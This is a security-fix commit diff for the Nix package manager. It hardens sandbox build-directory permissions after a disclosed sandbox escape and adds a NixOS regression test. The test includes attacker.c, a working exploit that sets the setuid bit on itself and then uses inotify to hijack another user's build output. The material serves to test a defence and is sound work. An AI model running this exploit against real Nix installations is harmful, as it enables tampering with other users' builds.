Merge pull request from GHSA-q82p-44mg-mgh5

Fix sandbox escape 2.23

.version

@@ -1 +1 @@
-2.23.0
+2.23.1

doc/manual/rl-next/harden-user-sandboxing.md

@@ -0,0 +1,8 @@
+---
+synopsis: Harden the user sandboxing
+significance: significant
+issues:
+prs: <only provided once merged>
+---
+
+The build directory has been hardened against interference with the outside world by nesting it inside another directory owned by (and only readable by) the daemon user.

flake.nix

@@ -26,7 +26,7 @@
       inherit (nixpkgs) lib;
       inherit (lib) fileset;
 
-      officialRelease = false;
+      officialRelease = true;
 
       version = lib.fileContents ./.version + versionSuffix;
       versionSuffix =
@@ -169,7 +169,7 @@
 
           nix =
             let
-              officialRelease = false;
+              officialRelease = true;
               versionSuffix =
                 if officialRelease
                 then ""
@@ -181,7 +181,7 @@
                 stdenv
                 versionSuffix
                 ;
-              officialRelease = false;
+              officialRelease = true;
               boehmgc = final.boehmgc-nix;
               libgit2 = final.libgit2-nix;
               libseccomp = final.libseccomp-nix;

src/libexpr/get-drvs.cc

@@ -82,8 +82,7 @@ std::optional<StorePath> PackageInfo::queryDrvPath() const
         } else
             drvPath = {std::nullopt};
     }
-    drvPath.value_or(std::nullopt);
-    return *drvPath;
+    return drvPath.value_or(std::nullopt);
 }
 
 

src/libexpr/print.cc

@@ -278,7 +278,7 @@ private:
             storePath = state.coerceToStorePath(i->pos, *i->value, context, "while evaluating the drvPath of a derivation");
         }
 
-        /* This unforutately breaks printing nested values because of
+        /* This unfortunately breaks printing nested values because of
            how the pretty printer is used (when pretting printing and warning
            to same terminal / std stream). */
 #if 0

src/libfetchers/github.cc

@@ -433,7 +433,7 @@ struct GitLabInputScheme : GitArchiveInputScheme
                 store->toRealPath(
                     downloadFile(store, url, "source", headers).storePath)));
 
-        if (json.is_array() && json.size() == 1 && json[0]["id"] != nullptr) {
+        if (json.is_array() && json.size() >= 1 && json[0]["id"] != nullptr) {
           return RefInfo {
               .rev = Hash::parseAny(std::string(json[0]["id"]), HashAlgorithm::SHA1)
           };

src/libstore/unix/build/local-derivation-goal.cc

@@ -504,7 +504,13 @@ void LocalDerivationGoal::startBuilder()
     /* Create a temporary directory where the build will take
        place. */
     tmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700);
-
+    if (useChroot) {
+        /* If sandboxing is enabled, put the actual TMPDIR underneath
+           an inaccessible root-owned directory, to prevent outside
+           access. */
+        tmpDir = tmpDir + "/build";
+        createDir(tmpDir, 0700);
+    }
     chownToBuilder(tmpDir);
 
     for (auto & [outputName, status] : initialOutputs) {
@@ -672,15 +678,19 @@ void LocalDerivationGoal::startBuilder()
            environment using bind-mounts.  We put it in the Nix store
            so that the build outputs can be moved efficiently from the
            chroot to their final location. */
-        chrootRootDir = worker.store.Store::toRealPath(drvPath) + ".chroot";
-        deletePath(chrootRootDir);
+        chrootParentDir = worker.store.Store::toRealPath(drvPath) + ".chroot";
+        deletePath(chrootParentDir);
 
         /* Clean up the chroot directory automatically. */
-        autoDelChroot = std::make_shared<AutoDelete>(chrootRootDir);
+        autoDelChroot = std::make_shared<AutoDelete>(chrootParentDir);
 
-        printMsg(lvlChatty, "setting up chroot environment in '%1%'", chrootRootDir);
+        printMsg(lvlChatty, "setting up chroot environment in '%1%'", chrootParentDir);
+
+        if (mkdir(chrootParentDir.c_str(), 0700) == -1)
+            throw SysError("cannot create '%s'", chrootRootDir);
+
+        chrootRootDir = chrootParentDir + "/root";
 
-        // FIXME: make this 0700
         if (mkdir(chrootRootDir.c_str(), buildUser && buildUser->getUIDCount() != 1 ? 0755 : 0750) == -1)
             throw SysError("cannot create '%1%'", chrootRootDir);
 

src/libstore/unix/build/local-derivation-goal.hh

@@ -65,6 +65,16 @@ struct LocalDerivationGoal : public DerivationGoal
      */
     bool useChroot = false;
 
+    /**
+     * The parent directory of `chrootRootDir`. It has permission 700
+     * and is owned by root to ensure other users cannot mess with
+     * `chrootRootDir`.
+     */
+    Path chrootParentDir;
+
+    /**
+     * The root of the chroot environment.
+     */
     Path chrootRootDir;
 
     /**

src/libutil/file-system.cc

@@ -412,6 +412,11 @@ void deletePath(const fs::path & path)
     deletePath(path, dummy);
 }
 
+void createDir(const Path & path, mode_t mode)
+{
+    if (mkdir(path.c_str(), mode) == -1)
+        throw SysError("creating directory '%1%'", path);
+}
 
 Paths createDirs(const Path & path)
 {

src/libutil/file-system.hh

@@ -157,6 +157,11 @@ inline Paths createDirs(PathView path)
     return createDirs(Path(path));
 }
 
+/**
+ * Create a single directory.
+ */
+void createDir(const Path & path, mode_t mode = 0755);
+
 /**
  * Create a symlink.
  */

src/libutil/hash.cc

@@ -52,11 +52,11 @@ bool Hash::operator == (const Hash & h2) const
 
 std::strong_ordering Hash::operator <=> (const Hash & h) const
 {
-    if (auto cmp = algo <=> h.algo; cmp != 0) return cmp;
     if (auto cmp = hashSize <=> h.hashSize; cmp != 0) return cmp;
     for (unsigned int i = 0; i < hashSize; i++) {
         if (auto cmp = hash[i] <=> h.hash[i]; cmp != 0) return cmp;
     }
+    if (auto cmp = algo <=> h.algo; cmp != 0) return cmp;
     return std::strong_ordering::equivalent;
 }
 

src/nix-build/nix-build.cc

@@ -477,9 +477,7 @@ static void main_nix_build(int argc, char * * argv)
         // Set the environment.
         auto env = getEnv();
 
-        auto tmp = getEnvNonEmpty("TMPDIR");
-        if (!tmp)
-            tmp = getEnvNonEmpty("XDG_RUNTIME_DIR").value_or("/tmp");
+        auto tmp = getEnvNonEmpty("TMPDIR").value_or("/tmp");
 
         if (pure) {
             decltype(env) newEnv;
@@ -491,7 +489,7 @@ static void main_nix_build(int argc, char * * argv)
             env["__ETC_PROFILE_SOURCED"] = "1";
         }
 
-        env["NIX_BUILD_TOP"] = env["TMPDIR"] = env["TEMPDIR"] = env["TMP"] = env["TEMP"] = *tmp;
+        env["NIX_BUILD_TOP"] = env["TMPDIR"] = env["TEMPDIR"] = env["TMP"] = env["TEMP"] = tmp;
         env["NIX_STORE"] = store->storeDir;
         env["NIX_BUILD_CORES"] = std::to_string(settings.buildCores);
 

tests/functional/check.sh

@@ -46,7 +46,10 @@ test_custom_build_dir() {
       --no-out-link --keep-failed --option build-dir "$TEST_ROOT/custom-build-dir" 2> $TEST_ROOT/log || status=$?
   [ "$status" = "100" ]
   [[ 1 == "$(count "$customBuildDir/nix-build-"*)" ]]
-  local buildDir="$customBuildDir/nix-build-"*
+  local buildDir="$customBuildDir/nix-build-"*""
+  if [[ -e $buildDir/build ]]; then
+      buildDir=$buildDir/build
+  fi
   grep $checkBuildId $buildDir/checkBuildId
 }
 test_custom_build_dir

tests/nixos/default.nix

@@ -162,4 +162,6 @@ in
   ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak;
 
   gzip-content-encoding = runNixOSTestFor "x86_64-linux" ./gzip-content-encoding.nix;
+
+  user-sandboxing = runNixOSTestFor "x86_64-linux" ./user-sandboxing;
 }

tests/nixos/user-sandboxing/attacker.c

@@ -0,0 +1,82 @@
+#define _GNU_SOURCE
+
+#include <fcntl.h>
+#include <stdio.h>
+#include <sys/inotify.h>
+#include <sys/stat.h>
+#include <unistd.h>
+#include <stdlib.h>
+
+#define SYS_fchmodat2 452
+
+int fchmodat2(int dirfd, const char *pathname, mode_t mode, int flags) {
+  return syscall(SYS_fchmodat2, dirfd, pathname, mode, flags);
+}
+
+int main(int argc, char **argv) {
+  if (argc <= 1) {
+    // stage 1: place the setuid-builder executable
+
+    // make the build directory world-accessible first
+    chmod(".", 0755);
+
+    if (fchmodat2(AT_FDCWD, "attacker", 06755, AT_SYMLINK_NOFOLLOW) < 0) {
+      perror("Setting the suid bit on attacker");
+      exit(-1);
+    }
+
+  } else {
+    // stage 2: corrupt the victim derivation while it's building
+
+    // prevent the kill
+    if (setresuid(-1, -1, getuid())) {
+      perror("setresuid");
+      exit(-1);
+    }
+
+    if (fork() == 0) {
+
+      // wait for the victim to build
+      int fd = inotify_init();
+      inotify_add_watch(fd, argv[1], IN_CREATE);
+      int dirfd = open(argv[1], O_DIRECTORY);
+      if (dirfd < 0) {
+        perror("opening the global build directory");
+        exit(-1);
+      }
+      char buf[4096];
+      fprintf(stderr, "Entering the inotify loop\n");
+      for (;;) {
+        ssize_t len = read(fd, buf, sizeof(buf));
+        struct inotify_event *ev;
+        for (char *pe = buf; pe < buf + len;
+            pe += sizeof(struct inotify_event) + ev->len) {
+          ev = (struct inotify_event *)pe;
+          fprintf(stderr, "folder %s created\n", ev->name);
+          // wait a bit to prevent racing against the creation
+          sleep(1);
+          int builddir = openat(dirfd, ev->name, O_DIRECTORY);
+          if (builddir < 0) {
+            perror("opening the build directory");
+            continue;
+          }
+          int resultfile = openat(builddir, "build/result", O_WRONLY | O_TRUNC);
+          if (resultfile < 0) {
+            perror("opening the hijacked file");
+            continue;
+          }
+          int writeres = write(resultfile, "bad\n", 4);
+          if (writeres < 0) {
+            perror("writing to the hijacked file");
+            continue;
+          }
+          fprintf(stderr, "Hijacked the build for %s\n", ev->name);
+          return 0;
+        }
+      }
+    }
+
+    exit(0);
+  }
+}
+

tests/nixos/user-sandboxing/default.nix

@@ -0,0 +1,129 @@
+{ config, ... }:
+
+let
+  pkgs = config.nodes.machine.nixpkgs.pkgs;
+
+  attacker = pkgs.runCommandWith {
+    name = "attacker";
+    stdenv = pkgs.pkgsStatic.stdenv;
+  } ''
+    $CC -static -o $out ${./attacker.c}
+  '';
+
+  try-open-build-dir = pkgs.writeScript "try-open-build-dir" ''
+    export PATH=${pkgs.coreutils}/bin:$PATH
+
+    set -x
+
+    chmod 700 .
+    # Shouldn't be able to open the root build directory
+    (! chmod 700 ..)
+
+    touch foo
+
+    # Synchronisation point: create a world-writable fifo and wait for someone
+    # to write into it
+    mkfifo syncPoint
+    chmod 777 syncPoint
+    cat syncPoint
+
+    touch $out
+
+    set +x
+  '';
+
+  create-hello-world = pkgs.writeScript "create-hello-world" ''
+    export PATH=${pkgs.coreutils}/bin:$PATH
+
+    set -x
+
+    echo "hello, world" > result
+
+    # Synchronisation point: create a world-writable fifo and wait for someone
+    # to write into it
+    mkfifo syncPoint
+    chmod 777 syncPoint
+    cat syncPoint
+
+    cp result $out
+
+    set +x
+  '';
+
+in
+{
+  name = "sandbox-setuid-leak";
+
+  nodes.machine =
+    { config, lib, pkgs, ... }:
+    { virtualisation.writableStore = true;
+      nix.settings.substituters = lib.mkForce [ ];
+      nix.nrBuildUsers = 1;
+      virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell attacker try-open-build-dir create-hello-world pkgs.socat ];
+      boot.kernelPackages = pkgs.linuxPackages_latest;
+      users.users.alice = {
+        isNormalUser = true;
+      };
+    };
+
+  testScript = { nodes }: ''
+    start_all()
+
+    with subtest("A builder can't give access to its build directory"):
+        # Make sure that a builder can't change the permissions on its build
+        # directory to the point of opening it up to external users
+
+        # A derivation whose builder tries to make its build directory as open
+        # as possible and wait for someone to hijack it
+        machine.succeed(r"""
+          nix-build -v -E '
+            builtins.derivation {
+              name = "open-build-dir";
+              system = builtins.currentSystem;
+              builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
+              args = [ (builtins.storePath "${try-open-build-dir}") ];
+          }' >&2 &
+        """.strip())
+
+        # Wait for the build to be ready
+        # This is OK because it runs as root, so we can access everything
+        machine.wait_for_file("/tmp/nix-build-open-build-dir.drv-0/build/syncPoint")
+
+        # But Alice shouldn't be able to access the build directory
+        machine.fail("su alice -c 'ls /tmp/nix-build-open-build-dir.drv-0/build'")
+        machine.fail("su alice -c 'touch /tmp/nix-build-open-build-dir.drv-0/build/bar'")
+        machine.fail("su alice -c 'cat /tmp/nix-build-open-build-dir.drv-0/build/foo'")
+
+        # Tell the user to finish the build
+        machine.succeed("echo foo > /tmp/nix-build-open-build-dir.drv-0/build/syncPoint")
+
+    with subtest("Being able to execute stuff as the build user doesn't give access to the build dir"):
+        machine.succeed(r"""
+          nix-build -E '
+            builtins.derivation {
+              name = "innocent";
+              system = builtins.currentSystem;
+              builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
+              args = [ (builtins.storePath "${create-hello-world}") ];
+          }' >&2 &
+        """.strip())
+        machine.wait_for_file("/tmp/nix-build-innocent.drv-0/build/syncPoint")
+
+        # The build ran as `nixbld1` (which is the only build user on the
+        # machine), but a process running as `nixbld1` outside the sandbox
+        # shouldn't be able to touch the build directory regardless
+        machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'ls /tmp/nix-build-innocent.drv-0/build'")
+        machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'echo pwned > /tmp/nix-build-innocent.drv-0/build/result'")
+
+        # Finish the build
+        machine.succeed("echo foo > /tmp/nix-build-innocent.drv-0/build/syncPoint")
+
+        # Check that the build was not affected
+        machine.succeed(r"""
+          cat ./result
+          test "$(cat ./result)" = "hello, world"
+        """.strip())
+  '';
+
+}
+